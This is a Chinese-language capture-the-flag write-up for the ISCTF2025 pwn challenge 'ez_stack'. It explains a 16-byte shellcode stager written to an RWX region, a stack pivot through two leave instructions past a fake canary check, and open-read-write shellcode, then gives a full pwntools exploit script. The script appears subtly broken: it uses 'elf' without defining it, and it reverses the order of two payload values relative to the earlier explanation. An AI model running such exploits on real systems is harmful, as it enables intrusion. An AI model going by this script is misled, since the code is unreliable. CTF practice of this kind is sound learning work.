ez_stack
.png)
有sandbox
.png)
main函数:
.png)
这题的sub_13b3函数就是一个读入函数,是读到\n或读入指定数量停止,但是不会像fgets添加\n,这里我们看到有向一个特殊的指定位置写入,依据经验我们可以猜测这里是7权限,但是我们看伪代码是看不到初始化过程的,我们要看汇编才能看到完整的
.png)
这里我们看到那个位置权限确实是7(mov r9d, 9这里9的系统调用号代表mmap,一般这个是存rax里的,但是sub_1149里的syscall的过程做了一些修改)
sub_1429函数:
.png)
sub_1342就相当于write,输出功能,sub_1149就是一个syscall,这里是实现那几个自己写的函数的功能的
sub_150a函数:
.png)
sub_1785函数:
.png)
sub_1637函数:
.png)
无后门函数,我们看到sandbox禁止了execve,所以我们考虑使用orw,我们可以向114那个地址(权限为7)写入16字节,那我们就考虑在哪里放一个stager读取我们的orwshellcode,我们看到sub_150a是一个检查函数,这里要求我们最多只能写一个syscall,但是这里我们只放一个read的stager,可以通过检查,我们后面放orw链后没有再次检查,所以这个检查对我们没什么影响,sub_1785函数给了我们main函数地址和v3地址,相当于给了我们pie基址和栈基址,然后进入sub_1637函数,这里是一个明显的栈溢出,但是有canary,且有一个奇怪的报错字符串,这里我们要看汇编代码
.png)
这里是结尾部分,在开头我们能看到确实是设置了canary,但是我们注意到结尾的检查部分,这里并没有检查canary,而是movzx eax, byte ptr [rbp+8],这个地方检查的是返回地址,取第一字节,注意这里是小端序,所以取的是我们看到的地址的最后一字节,这个是固定的,我们可以在ida中找到,返回地址就是main函数call sub_1637的下一条指令的地址
.png)
这里我们可以看到是0x189b,这里其实相当于一个固定的canary,那我们现在就能利用栈溢出了,我们这里不之间构造rop链,因为题目没给我们足够的gadget,所以我们还是考虑用orw的shellcode。
那我们先考虑16字节的read构造,如果直接写完整的肯定是不够的
xor eax, eax ; 2 字节
xor edi, edi ; 2 字节
movabs rsi, 0x114514000 ; 10 字节
mov rdx, 0x1000 ; 7 字节
syscall ; 2 字节
主要是用mov传输参数消耗太多字节了,那我们可以改成这样
stager = asm("""
pop rsi
pop rdx
xor rdi, rdi
xor rax, rax
syscall
""")
这里我们用pop指令,我们只用把参数在我们后面利用栈溢出的时候放在payload之中就行了,然后我们考虑栈溢出的payload,这里我们要考虑通过检查并且进行一次迁移来执行我们的114地址的stager和orw,那我们要考虑栈迁移。
payload_head = flat([
b'A' * 8,
target_stager + 0x10,
target_stager,
0x1000
])
payload = payload_head.ljust(264, b'A')
payload += b'A' * 8
payload += p64(fake_rbp)
这里我们讲解一下流程,主要是我们利用两次leave(哪两个leave后面会提到),把rsp迁移过去,这里fake_rbp是v4的地址,后面会提怎么得到的,这里解释一下为什么是迁移到把栈迁移到我们payload的开头(即v4地址),而不是直接迁移到114那个地址,就是因为我们的stager中由于大小限制我们把参数放在了payload中,所以我们如果直接迁到114,我们就不能传递参数了(我们的参数在payload中),所以我们只把栈迁到我们的payload的地方,但是我们把target_stager的地址会放在ret(即rip)的位置,这样就能做到执行我们放在114地址的代码了,首先第一次leave,我们把rbp设置成我们fake_rbp(我们payload的开头),然后再次leave,rsp指向我们rbp存的地方即我们payload的开头,然后我们用A吃掉pop rbp,然后ret,这里把我们的target_stager执行了,那就开始从114地址的开头一直往后执行了,我们就成功栈迁移并执行我们的stager了,后面分别放rsi和rdx存的参数,这里我们把orw放在stager后面,我们前面stager虽然不满16字节,但是我们用nop(\x90)填充,rip看到nop就自动往下跳,所以我们能连续执行114地址上的指令。
这里说一下fake_rbp(即v4的地址怎么得到),我们前面有泄露栈地址,那我们就只需要找到v4和泄露的这个地址的偏移就行,这个是固定的,我们在gdb中找,我的方法是先写一个接收泄露地址的脚本,然后在sub_1637下断点,然后运行脚本,我们会停止sub_1637,注意,这里要先ni进入sub_1637,否则sub_1637的栈帧还没建立,这里进入sub_1637,我们在ida中能看到v4在rbp-0x110的位置,所以如图就得到偏移了(后面那个是我们接收的泄露的栈地址)
.png)
接下来我们要考虑返回地址覆盖成什么了,我们前面分析过要9b结尾,但是我们可以发现找不到符合的leave和ret,我们可以发现这个是main函数的结尾,所以直接返回的话就是main函数的leave,所以这里我们就保持返回地址不变,我们就有两个leave了(sub_1637结尾的leave和main函数结尾的leave),那我们保持返回地址不变是不是就直接不覆盖返回地址就行,这里不能这么做,我们前面提到过,程序用的是自己创建的函数sub_13b3,要么payload长度达到4096,这肯定会覆盖返回地址的,要么我们就用sendline(payload),这样它读到\n就停止了,但是我们前面栈迁移要把rbp覆盖成我们指定的,所以直接添加\n还是会覆盖返回地址,那么我们只能得到返回地址,然后再payload中把返回地址覆盖成返回地址,再在这之后加\n就行了,我们前面能得到pie基址,这里就可以用上了。
这里我们最后要用sendline发送payload,不然它会一直等着输入4096字节才下一步。
orw就用shellcraft生成的就行,这里多解释一下这个orw链,read('rax', 'rsp', 0x100),这里rax位置一般是3,但是我们用rax动态接收open打开的文件描述符,保证不会出错,rsp位置一般是放一个可读可写的位置(例如.bss段),我们这里直接放rsp,因为栈空间天然就可读可写,我们就不用特地找位置了。
这题不知道为什么运行这个脚本会有小几率失败,失败了就再运行一遍就行了。
EXP:
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
p = process('./baby_stack')
stager = asm("""
pop rsi
pop rdx
xor rdi, rdi
xor rax, rax
syscall
""")
p.sendafter(b"2025!", stager.ljust(16, b'\x90'))
p.recvuntil(b"GIFT?\n")
leak_main = u64(p.recv(6).ljust(8, b'\x00'))
elf.address = leak_main - 0x184f
print(f"[*] PIE Base: {hex(elf.address)}")
p.recv(1)
leak_stack = u64(p.recv(6).ljust(8, b'\x00'))
print(f"[*] Stack Leak: {hex(leak_stack)}")
buffer_addr = leak_stack - 0xe8
trampoline = elf.address + 0x189b
target_stager = 0x114514000
fake_rbp = buffer_addr
payload_head = flat([
b'A' * 8,
target_stager,
target_stager + 0x10,
0x1000
])
payload = payload_head.ljust(264, b'A')
payload += b'A' * 8
payload += p64(fake_rbp)
payload += p64(trampoline)
p.sendline(payload)
sleep(0.5)
orw = asm(
shellcraft.open("flag") +
shellcraft.read('rax', 'rsp', 0x100) +
shellcraft.write(1, 'rsp', 0x100)
)
p.send(orw)
p.interactive()
题目链接:
CTF-Writeups/ISCTF2025/ez_stack at main · ZenDuk17/CTF-Writeups